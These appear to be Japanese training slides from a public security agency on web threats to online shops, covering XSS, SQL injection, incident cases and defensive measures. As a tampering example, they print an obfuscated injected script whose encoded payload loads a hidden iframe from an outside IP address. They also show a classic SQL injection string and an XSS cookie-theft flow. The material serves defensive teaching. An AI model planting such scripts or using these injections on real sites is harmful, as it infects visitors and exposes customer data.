ネット通販セキュリティ対策セミナー
ネット通販サイトにおける脅威と対策方針
~近年の脅威やその対策方針、セキュリティ対策ツールの紹介など~
独立行政法人 情報処理推進機構
セキュリティセンター
1.今、何が起こっているのか?
1.1 インターネットを取り巻く状況は?
1.2 ウェブアプリケーションの脆弱性 1.3 ウェブサイト形態と対応責任
2.脆弱性の解説
3.ウェブサイトのセキュリティ対策方針
4.セキュリティ対策ツールの紹介
1.1 インターネットを取り巻く状況は?
恐ろしい状況の前に、
まずはネット通販の特色から。
z 本日お越しの皆様は、今インターネット上で
どのような状況となっているかわかりますか?
ネット通販の利便性
z インターネットを利用した通信販売は、新鮮 な情報をいち早く掲載でき、柔軟な価格設定 やキャンペーン等の販促も手軽に実施可能 で、また利用者登録により利用者への利便 性も上げられ、従来の通信販売と比べ飛躍 的に営業効率を上げられる。
z このようなメリットから、どれだけ売上げを上
げられるか「成功の秘訣」「効果的な広告掲
載」「購買分析」などデザインや表現を重視し
たウェブサイトを開発する事になる。
ネット通販における考慮など
z これらの考えは事業発展における重要な ファクターである。
z もちろん「ネット通販における規制」や「広告 メールに関する規制」など各種規制関連は 対策され守られるものである。
z またクレーム対策などのノウハウは蓄積され ている。
しかし、次の問題は解決されているか?
インターネット上の被害例 (その1)
z 価格情報提供サイト
2005 年 5 月、 ウェブサイトに不正なプログラムが 仕掛けられ、閲覧したユーザがウイルスに感染 したという事を発表。
ウェブサイトのプログラムを直すそばから何者か により改ざんされていった。その後攻撃の頻度 が急増しサイトを閉鎖。( 10 日間の閉鎖)
登録ユーザのメールアドレス 2 万 2511 件漏えい。
5 月の月間 PV は、前月比で約 4 割減。
取引業者への影響大。
インターネット上の被害例 (その2)
z 音響機器・楽器通販サイト
2008 年 4 月、サイバー攻撃により顧客情報が 10 万件弱流出した可能性がある事を発表。
クレジットカード情報が不正利用され、
2008 年 3 月にカード会社が検知し判明。
セキュリティ会社の調査により、 2006 年 6 月頃に 最初の不正侵入があった事が判明。
会員 12 万 2884 人に 1000 円を次回購入時割引。
セキュリティ会社への作業依頼とサーバ交換等
で 6,000 万円強の費用をかけた対策を行った。
インターネット上の被害例
z 他にもインターネット通販サイト等に、多くの被害が 取り沙汰されている。
• クレジットカード番号や個人情報の漏えい
– 健康食品や医薬品販売サイト – 化粧品販売サイト
– 雑貨販売サイト
– 釣具・アウトドア用品販売サイト
• ウイルス感染などを引き起こすウェブサイトの改ざん
– ウイルス対策ソフト開発会社 – 自動車情報サイト
– 政府関連のウェブサイト
– 家庭用ゲーム会社のウェブサイト(米国)
など
これは代表的な
内容であり、毎日
のようにホーム
ページが攻撃され
被害が出ている。
ネット通販をとりまく脅威 (*1)
z フィッシングサイト(別ドメイン利用、脆弱性利用)
偽情報の表示
カード番号やパスワード等の情報漏えい
z 他人へ「なりすまし」
商品の購入
z DB (*2) に蓄積された非公開情報の閲覧
重要(個人)情報漏えい
z DB に蓄積された情報の改ざん、消去
偽情報の表示、パスワード変更、システム停止 ウイルス感染サイト化
(*1)
脅威とは、被害に繋がるような状態。
(*2)
DB(データベース):関連し合うデータを収集・整理して、検索や更新を効率化したファイル。
脆弱性による脅威
これらの脅威は、ウェブアプリケーションに脆弱性が 存在する事が原因で、その脆弱性を悪者が利用し 攻撃した事によるものです。
フィッシングサイト(脆弱性利用)
なりすまし
クロスサイト・スクリプティングの脆弱性
DB に蓄積された
・非公開情報の閲覧
・情報の改ざん、消去
SQL インジェクションの脆弱性
1.2 ウェブアプリケーションの脆弱性
z 本日のセミナーでは、最近大きな被害に繋が っている
ウェブアプリケーション の 脆弱性
に関するセキュリティ対策を取り上げる。
そもそも脆弱性ってなに?
z 脆弱性(ぜいじゃくせい)とは
¾ コンピュータ不正アクセスやコンピュータウイルスなどの攻撃により、
その機能や性能を損なう原因となり得るセキュリティ上の問題箇所 のこと
(出典:情報セキュリティ早期警戒パートナーシップガイドライン)
z 脆弱性を利用すると
¾ 問題点箇所を巧みに悪用し、コンピュータの内部データ(情報)を 盗んだり、書き換えたり、削除したり、また他のコンピュータへの 同様の悪事を働くことが可能となる
(これが不正アクセスであり、プログラム化して自動的に動作するの がウイルスやボットである)
z 脆弱性対策は根本的なセキュリティ対策
¾ セキュリティ対策としてウイルスなどの対策も十分必要だが、脆弱性 を無くすことが最も重要!!
要は、第三者
からの攻撃
z ウェブページは 2 つのタイプに分けられる。
静的ページ
• いつ見ても変わらぬ内容を表示(画像やテキスト文字等)
• 静的なコンテンツをウェブサーバが表示する
動的ページ
• 入力された内容を元に DB へ問合せ、必要な情報を取得 し、それを元にウェブページを生成し表示する
• 利用者が入力した内容を確認するページなどが該当
• SNS 、ブログ、電子掲示板、ショッピングカートなど
ウェブアプリケーションとは?
z 動的ページを作りだすプログラムが
ウェブアプリケーション。
1.3 ウェブサイト形態と対応責任
z 代表的な通販サイトの形態と脆弱性対応責任
N
o サイト形態 形態概要 脆弱性の可能性 脆弱性対応責任
1 オーサリングツー ル利用
ウェブページ作成ソフトウェア 製品を使い、自分でホーム ページを作成する方法。
ウェブページ作成用サンプルプログ ラムや、機能モジュールに脆弱性。
製品の脆弱性は製品開発者に対応責 任があるが、サイト運営者として最新版 製品を入手し、サイトに反映させる責任 がある。
2 ポータルサイト構 築ソフトウェア製 品利用
ショッピングカート、電子掲示 板、ブログ、Wiki 等のウェブ アプリケーションソフトウェア 製品(CMS等)を使う方法。
•製品そのものが抱える脆弱性。
• 独自でカスタマイズし利用する事も あり、カスタマイズ部分に脆弱性が 発生する可能性あり。
•製品の脆弱性の場合は No1 の対応責
任と同様
•独自の場合はサイト運営者の責任で対 処する。
3 独自開発のうえ利 用
機能やデザインを独自なもの とする為、自社や委託先で ウェブアプリケーションを開発 し、それを使う方法。
脆弱性が発生する可能性あり。
セキュリティを十分考慮した設計・
開発がなされていないと、その可能 性が高い。
自社開発であれ委託開発であれ、サイト 運営者に対応責任がある。
4 ISP 提供サービス 利用
ISP が CMS や DB 等を活 用し、「簡単ホームページ作 成」と言うようなサービスを提 供。それを使う方法。
ISP はウェブアプリケーションソフト ウェア製品を利用しており、製品に 脆弱性が発見される可能性あり。
•ISP が製品の管理まで行う場合は ISP が対応。
•ISP は製品のインストールまでで、後の 対応はサイト運営者責任のケースもある。
5 ショッピングモール 等のサービスを利 用
ショッピングモールで提供し ている、支払決済や配送など も含めたショッピング機能を 使う方法。
ショッピングモールで利用している ウェブアプリケーションソフトウェア
(独自開発やソフトウェア製品)に 脆弱性が発見される可能性あり。
•ショッピングモールが対応。
対応責任を踏まえた
サイト運営者の役割
z 自社(委託を含む)責任の場合
脆弱性の原理や対策方法の理解、および対策。
委託発注時にセキュリティ要件を盛込む。
委託契約内容の確認(脆弱性発生時の保守など)
z 製品開発者責任の場合
製品仕様の確認(脆弱性なのか機能が不十分なのか)
製品開発者への脆弱性報告(後述のパートナーシップを利用)
製品が対策された時点で、サイト運営者がサイトに反映させる。
z サービス提供者責任の場合( ISP やモールなど)
サービス規定の確認(脆弱性等不具合への対応責任)
サービス提供者への連絡
1.今、何が起こっているのか?
2.脆弱性の解説
2.1 情報セキュリティ早期警戒パートナーシップ 2.2 脆弱性関連情報の届出状況
2.3 クロスサイト・スクリプティング 2.4 SQL インジェクション
3.ウェブサイトのセキュリティ対策方針
4.セキュリティ対策ツールの紹介
z 脆弱性情報を適切に流通させるために
¾ 不適切な脆弱性の公開による問題は実際に発生しており、それを解決させる ために 2004 年 7 月経済産業省告示「ソフトウエア等脆弱性関連情報取扱基準」
が制定された。これを踏まえ、IPA・JPCERT/CCなど6団体から、脆弱性関連 情報の適切な流通により、コンピュータ不正アクセス、コンピュータウイルスな どによる被害発生を抑制するために、関係者に推奨する行為をとりまとめた
「情報セキュリティ早期警戒パートナーシップガイドライン」が公表された。
2.1 情報セキュリティ早期警戒
パートナーシップ (脆弱性関連情報の届出制度)
【受付分析機関】
【調整機関】
脆弱性関連情報届出 脆弱性関連情報通知
対応状況の集約 公表日調整等
z 届出累計が 5,000 件を突破!
¾ 脅威的な届出件数
届出開始から約 4 年間で 2,045 件、ここ 1 年間で 3,206 件 1 日に平均 4.6 件の届出(最大 142 件 / 日、 2008 年 11 月 7 日)
2.2 脆弱性関連情報の届出状況
脆弱性関連情報の届出件数の四半期別推移
ウェブサイト脆弱性届出の
種類別内訳
z ウェブサイト脆弱性の種類は「クロスサイト・スクリプ ティング」と「 SQL インジェクション」が約 6 割を占める
ウェブサイトの脆弱性として IPA に届けられ受理した 4,235 件の内訳
~ 届出開始から2009年第1四半期(2009年3月末)まで ~
2.3 クロスサイト・スクリプティング
能動的攻撃
z攻撃者は、直接サーバなどを攻撃す
る。
z イントラネット内への攻撃は難しい。
z攻撃される側の行動は不要で、いつ でも攻撃可能。
受動的(誘導型)攻撃
z攻撃者は、利用者が特定の行動をと
るよう誘導する。
zFW で通信を許可している、ウェブやメー ル等を利用した攻撃。
zイントラネット内のシステムの攻撃に、
よく用いられる。
○○○○○○○○
■■■■■■■■■■■■■■
■■■■■■■■■■■■■■
■■■■■■
■■■■■■■■■■■■■■
■■■■■■■■■■■■■■
■■■■■■
誘導型攻撃のイメージ
z 近年のネットワーク環境の変化により、多くのネット ワークにファイアウォールの導入が進んだ
z 個人のような小規模なネットワークであっても、
「 Windows ファイアウォール」のように、 OS に標準 搭載されたファイアウォールが機能するようになった
z 利用者が罠のウェブページやメールを 閲覧することで、成立する攻撃に移行
「誘導型」攻撃が増えた背景
迷惑メール経由の攻撃例
「誘導型」攻撃のイメージ
a) 書かれているリンク先は、人気動画サイトのURLに見せ かけているが、実際のリンク先はウイルスが埋め込まれてい るウェブサイト
b) ここをクリックすると、ウイルスがダウンロードされる!
利用者
ウェブサーバ 検索キーワード IPA
利用者
検索キーワード
<s>IPA</s>
ウェブサーバ
<s>は、取り消し線 を引くHTMLタグ
<html>
【IPA 】を含む検索結果
… </html>
IPA
<html>
【<s>IPA</s> 】を含む 検索結果
… </html>
<s>IPA</s>
" < " および " > " が出力され、HTMLタグとして 認識されてしまう (表示が崩れる)
【IPA】を含む 検索結果
【IPA】を含む 検索結果
①
③ ②
① ’
② ’
③ ’
クロスサイト・スクリプティングの動作 (その1)
一般利用者
【<script> … document.
cookie … </script>】を 含む検索結果
脆弱なウェブサーバ へのリンク(悪意の スクリプトを含む)
悪意のある ウェブサーバ
ウェブサーバ
・ウェブページに好きな文章等を表示させる(ページ改ざん)
・ブラウザ上からは見えない命令を書き込み、情報を盗む
悪意のあるウェブサーバに セッションCookie をこっそり 送信するようなスクリプト
スクリプトがページ内に 書き込まれる
<script> …
document.cookie … </script>
スクリプト実行
【】を含む 検索結果
①
②
④ ③
⑤
⑥
検索キーワード
セッションIDや Cookie
クロスサイト・スクリプティングの動作 (その2)
2.4 SQL インジェクション
○○○○
○○○○○○○○
■■■■■■■■■■■■■■
■■■■■■■■■■■■■■
■■■■■■
■■■■■■■■■■■■■■
■■■■■■■■■■■■■■
■■■■■■
○○○○○○○○
■■■■■■■■■■■■■■
■■■■■■■■■■■■■■
■■■■■■
■■■■■■■■■■■■■■
■■■■■■■■■■■■■■
■■■■■■
○○○○
○○○○○○○○
■■■■■■■■■■■■■■
■■■■■■■■■■■■■■
■■■■■■
■■■■■■■■■■■■■■
■■■■■■■■■■■■■■
■■■■■■
http://△△△.or.jp/
http://▼▼▼.ne.jp/
http://○○○.co.jp/
SQL インジェクション攻撃による、ウイルス感染イメージ
ウェブサイトへの攻撃が増えた背景
z 2006 年に出現した MPack や IcePack などの ウェブサイト攻撃ツールによって攻略される
¾ ウェブサーバやウェブアプリケーションの複数の
脆弱性を自動的に攻撃する機能や管理機能を備え、
販売されている。
● 攻撃対象のサイトへ 罠サイトへ誘導する 仕組みを埋め込む。
● サポートが充実。
頻繁にアップデートも。
● 各種ウイルス対策ソフトに 検出されない旨をアピール
● 価格(元を日本円換算)
1 ヶ月: 6,000 円 2 ヶ月: 15,000 円 4 ヶ月: 30,000 円 6 ヶ月: 45,000 円
中国では決して安くない。
● しかしこのソフトにも 脆弱性が存在。 (^_^;) 認証が回避可能な 裏ツールも出回る。
ファイル形式 攻撃対象の脆弱性
攻撃先 URL
オプション
会員認証 サポート先
z 2006 年に出現した MPack や IcePack などの ウェブサイト攻撃ツールによって攻略される
¾ ウェブサーバやウェブアプリケーションの複数の
脆弱性を自動的に攻撃する機能や管理機能を備え、
販売されている。
z ウェブサイトの改ざんは、他の攻撃と同様、目に 見えない形で行われる傾向がある
¾ インラインフレームやスクリプトなどといった、不可視
の状態でウェブサイトに挿入できるものが混入される
ため、利用者がウェブブラウザから閲覧しただけでは
違いが全く判らない。
ウェブサイトの改ざん例
<iframe src='http://url' width='1' height='1' style='visibility:
hidden;'></iframe><script>function
v4760be4c05e00(v4760be4c065f7){ function v4760be4c06def () {return 16;}
return(parseInt(v4760be4c065f7,v4760be4c06def()));}function v4760be4c07de0(v4760be4c081dc){ var
v4760be4c085d9='';for(v4760be4c089d5=0;
v4760be4c089d5<v4760be4c081dc.length;
v4760be4c089d5+=2){ v4760be4c085d9+=(String.fromCharCode(v4760be4 c05e00(v4760be4c081dc.substr(v4760be4c089d5, 2))));}return
v4760be4c085d9;}
document.write(v4760be4c07de0('3C5343524950543E77696E646F772E73 74617475733D27446F6E65273B646F63756D656E742E777269746528273 C696672616D65206E616D653D3735393830313431207372633D5C276874 74703A2F2F37372E3232312E3133332E3138382F2E69662F676F2E68746 D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292 A313632353235292B27663865656666625C272077696474683D353931206 865696768743D323735207374796C653D5C27646973706C61793A206E6F 6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script>
<iframe src='http://url' width='1' height='1' style='visibility: hidden;'></iframe><script>function ..
SQL インジェクションの動作
ウェブサーバ
+
ウェブアプリ
データベース ID john
john の情報 user
SELECT * FROM user WHERE id=‘$ID’
SQL文例
SELECT * FROM user WHERE id= ‘ john ' john
一般利用者
悪意を持つ人
ID john ’ or ‘A’=‘A
全てのユーザ の情報
SELECT * FROM user
WHERE id= ‘ john’ or ‘A’=‘A ' john’ or ‘A’=‘A
「全て」を意味する
・データベースから重要な情報が盗まれてしまう
①
②
③
④
① ’
②’
③’
④ ’
SQL インジェクションの攻撃傾向
出典:株式会社ラック 「SQLインジェクション攻撃検知(2009年2月まで)」より
http://www.lac.co.jp/info/alert/alert20090303.html
1.今、何が起こっているのか?
2.脆弱性の解説
3.ウェブサイトのセキュリティ対策方針
3.1 ネット通販における他の脅威と対策 3.2 セキュリティ確保のための基本対策
4.セキュリティ対策ツールの紹介
3.1 ネット通販における他の脅威と対策
z ウェブアプリケーションの脆弱性以外にも 脅威は存在する。
紙媒体・記録媒体( USB , CD ‥)等の紛失・盗難 メール等の誤送信
マネジメント的対策(ポリシー・ルールの策定と運用)
技術的対策(接続装置の制御、記憶媒体の暗号化)
ウイルス・ワーム感染
ウイルス対策ソフトの利用
ウェブサーバの設定ミスなど不適切な運用
サーバの要塞化
通信の盗聴
SSLなどの暗号化通信
3.2 セキュリティ確保のための基本対策
セキュアなウェブサイトを構築・維持するためには、全体を見通し た出来るだけ漏れがない対策を、組織的に実施することが重要。
セキュリティ予算確保
開発の委託
セキュアな開発
適切なサーバ構築
ID ・パスワードの強化
設定情報のバックアップ・ログ収集
セキュリティ対策機器の導入・監視
セキュリティ監査
セキュリティ事故発生を想定した体制作りと運用
セキュリティメンテナンス
製 サ
製 サ 製 サ 製 サ
この基本対策は、自社でウェブサイトを 構築管理している事を対象としている。
ソフトウェア製品利用時には ⇒ サービス利用時には ⇒
製
サ
セキュリティ予算確保
z セキュリティ確保のために予算化
ウェブサイト運営にはセキュリティ対策の責任がある。
セキュリティ対策や維持には相応の費用が必要。
• 脆弱性を作り込まぬために必要な費用
• セキュリティは時間と共に強度が低下するため維持する費用
ウェブサイト運営の企画段階から開発や運用に必要な セキュリティ予算を検討し確保する。
z 上司や予算担当者への説得
セキュリティ対策の重要性と必要費用を説明。
セキュリティ対策は費用対効果が計りづらいものだが、安全 性を訴えた積極的なサイト運営を特色とするのも手ではない か。
製 サ
開発の委託
z セキュリティ発注要件の必要性
従来の開発では、契約上セキュリティに関する要件は十分 な内容ではなかった。
その結果、脆弱性のようなセキュリティに関する問題が発覚 しても、委託側・受注側ともに不幸な結果を招く事が多い。
特に委託側に新たな費用を必要とする傾向がある。
z セキュリティ要件を盛り込む
瑕疵担保契約にて責任を明確する。
発注仕様や要求仕様に具体的な要求仕様を盛り込む。
http://www.jnsa.org/active/2005/active2005_1_4a.html
¾ 参考: JNSA セキュアシステム開発ガイドライン
「 Web システム セキュリティ要求仕様( RFP )」編 β 版
セキュアな開発
セキュリティを確保したウェブアプリケーションの 開発にはセキュリティ(脆弱性)の知識が必須。
自社で開発する上では十分理解する必要がある。
z 脆弱性の理解
脅威の仕組みや問題の原因を正しく理解する。
• 「知っていますか?脆弱性(ぜいじゃくせい)」
z 安全なプログラミング
安全にプログラムを作成する知識を身に付ける。
• 「安全なウェブサイトの作り方」
• 「セキュア・プログラミング講座」
z セキュリティを考慮したシステム構成
ネットワークセグメントの分離
• 外部セグメント、 DMZ (非武装地帯) の設置、内部セグメント
z サーバ要塞化
最小構成
• 不要なサービスの停止
• 不要なアプリケーションの削除
最新のソフトウェア構成 アクセスコントロール設定
• 職務に応じた適切なアクセス権
適切なサーバ構築
インター ネット
ファイアウォール
ウェブサーバ メールサーバ DNSサーバ
DBサーバ
DMZ 内部セグメント 外部
セグメント
ID ・パスワードの強化
z パスワード管理を徹底
不要なアカウントの削除
辞書に載っている文字列は使わない
長くて複雑なパスワード設定 (英字+数字+記号)
z SSH 接続を使う場合
公開鍵認証方式を利用
パスワードをどうしても利用する場合は徹底管理
製 サ
設定情報のバックアップ・ログ収集
z 正常時の設定情報などを保管
¾ 各サーバ設定内容、変更記録、作業手順など
¾ とにかく資料を残す。画面キャプチャーでも可。
z 必要なログ
UNIX 系 OS
¾ ログイン・ログアウト、プロセスの起動・終了、コマンド実行など
Windows 系 OS
¾ ログオン・ログオフ、アプリケーションの起動と停止、システム設定の 変更、各種イベントの発生状況など
Web サーバ
¾ 各クライアントからのアクセス履歴、エラーログなど
z ログ解析の警告メールの自動送信化。 NTP 時刻同期。
セキュリティ対策機器の導入・監視
z ファイアウォール
内部から外部への不要な通信を許可している場合が多い。
z IDS (侵入検知システム) / IPS (侵入防止システム)
IDSは通信回線を監視しネットワークへの侵入を検知して管理者に通報 するシステム。IPSはIDSの機能を拡張し、侵入を検知したら接続の遮断 などの防御をリアルタイムに行なう機能を持つ。
z WAF ( Web Application Firewall )
IDS/IPS ではパケットの中身に危険なコードが含まれていても中身までは 解析できないことがあるが、WAF ではパケットの中身までを解析し、危険 なコードをブロックすることができる。
z リアルタイム監視
これらのセキュリティ対策機器を利用し、発生した警告をすぐさま察知し、
問題の通信を瞬時に防ぐ事が大切である。
• 24 時間 365 日対応できるエキスパートを自社雇う若しくは育てる。
• 専門のセキュリティベンダーに任せる。 (餅は餅屋)
IDS/IPS
ファイアウォール WAF
サーバ FW・IDS/IPS・WAFの設置と防御のイメージ